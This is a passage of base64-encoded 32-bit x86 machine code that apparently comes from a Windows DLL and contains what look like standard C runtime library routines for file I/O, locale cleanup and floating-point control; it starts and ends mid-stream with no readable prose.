QfhCxCL+YmFtPj//8HnAleNBDGJhYz6//+NhZD6//9qAFDoALr+/4vGweACUIuFtPj//w+3BIUE4QsQjQSFANgLEFCNhZD6//8Dx1Do1r/+/4uNjPr//4PEGImNoPj//4P5AQ+HkwAAAIu9kPr//4X/dRozwImFnPb//4mFLP7//1CNhaD2///pcgIAAIP/AQ+EegIAAIO9LP7//wAPhG0CAACLhSz+//8zyYmFnPj//zP2i8f3pLUw/v//A8GJhLUw/v//g9IARovKO7Wc+P//deCFyQ+ENQIAAIuFLP7//4P4cw+DxAIAAImMhTD+////hSz+///pFAIAAIO9LP7//wF3fIu9MP7//4vBweACUI2FkPr//4mNLP7//1CNhTD+//9TUOhmiP//g8QQhf8PhD3///+D/wEPhNEBAACDvSz+//8AD4TEAQAAi4Us/v//M8mJhZz4//8z9ovH96S1MP7//wPBiYS1MP7//4PSAEaLyju1nPj//3Xg6VL///87jSz+//+NvZD6//8PksCEwA+FgwAAAI29MP7//42VkPr//4mVkPj//4TAdQaLjSz+//+JjbD4//+EwHQMi4Us/v//iYWg+P//M9Iz9omVvPj//4XJD4QRAQAAjYXA+P//K/iJvXz4//+NBLeLhAXA+P//iYWc+P//hcB1JTvyD4XeAAAAIYS1wPj//41WAYmVvPj//+nJAAAAjZUw/v//64EzwDP/i86JhaT4//85haD4//8PhJQAAACD+XN0VzvKdReDpI3A+P//AEADxomFvPj//4uFpPj//4uVkPj//4sEgvelnPj//wPHg9IAAYSNwPj//4uFpPj//4PSAEBBiYWk+P//i/qLlbz4//87haD4//91pIX/dDSD+XMPhAoBAAA7ynURg6SNwPj//wCNQQGJhbz4//+LxzP/AYSNwPj//4uVvPj//xP/QevIg/lzD4TWAAAAi718+P//i42w+P//RjvxD4X9/v//i8KJlSz+///B4AJQjYXA+P//UI2FMP7//1NQ6ISG//+DxBCwAYTAD4TBAAAAi4Ws+P//K4W0+P//iYWs+P//D4W6/P//i42o+P//hckPhNMAAACLBI2c4QsQiYWc+P//hcAPhJgAAACD+AEPhLUAAACLjSz+//+FyQ+EpwAAADP/M/b3pLUw/v//A8eJhLUw/v//i4Wc+P//g9IARov6O/F14IX/dH+LhSz+//+D+HNzTom8hTD+////hSz+///rZTPAUImFnPb//4mFLP7//42FoPb//1CNhTD+//9TUOjAhf//g8QQMsDpN////4OlnPb//wCDpSz+//8AagDrDzPAUImFLP7//4mFnPb//42FoPb//1CNhTD+//9TUOiBhf//g8QQi72E+P//i/eLjSz+//+JtbT4//+FyXR3M/Yz/4uEvTD+//9qClr34gPGiYS9MP7//4PSAEeL8jv5deGJtZz4//+F9ou1tPj//3RCi40s/v//g/lzcxGLwomEjTD+////hSz+///rJjPAUImFnPb//4mFLP7//42FoPb//1CNhTD+//9TUOj0hP//g8QQi/6NhVz8//9QjYUs/v//UOiyaP//WVlqClo7wg+FkQAAAP+FlPj//413AYuFXPz//8YHMYm1tPj//4XAD4SLAAAAM/+L8DPJi4SNYPz///fiagoDx4mEjWD8//+D0gBBi/paO8514Yu1tPj//4X/dFyLhVz8//+D+HNzD4m8hWD8////hVz8///rQjPAUImFnPb//4mFXPz//42FoPb//1CNhWD8//9TUOhDhP//g8QQ6xqFwHUJi4WU+P//SOsTBDCNdwGIB4m1tPj//4uFlPj//4uNgPj//4lBBIuNiPj//4XAeAqB+f///393AgPIi0UcSDvBcgKLwQOFhPj//4mFiPj//zvwD4TTAAAAi4Us/v//hcAPhMUAAAAz/4vwM8mLhI0w/v//ugDKmjv34gPHiYSNMP7//4PSAEGL+jvOdd+LtbT4//+F/3RAi4Us/v//g/hzcw+JvIUw/v///4Us/v//6yYzwFCJhZz2//+JhSz+//+NhaD2//9QjYUw/v//U1DoZ4P//4PEEI2FXPz//1CNhSz+//9Q6Cdn//9ZWYuNiPj//2oIXyvOM9L3tYz4//+AwjA7z3IDiBQ3T4P//3Xog/kJdgNqCVkD8Ym1tPj//zu1iPj//w+FLf///8YGAOsqaIz6CxDrE2iE+gsQ6wxofPoLEOsFaHT6CxD/dRxT6POW//+DxAyFwHUngL10+P//AF9eW3QNjYVs+P//UOg7LQAAWYtN/DPN6Kmk/v+L5V3DM8BQUFBQUOg7mf//zIv/VYvsV/91DOjSsv//WYtNDIv4i0kM9sEGdR/oQJz//8cAC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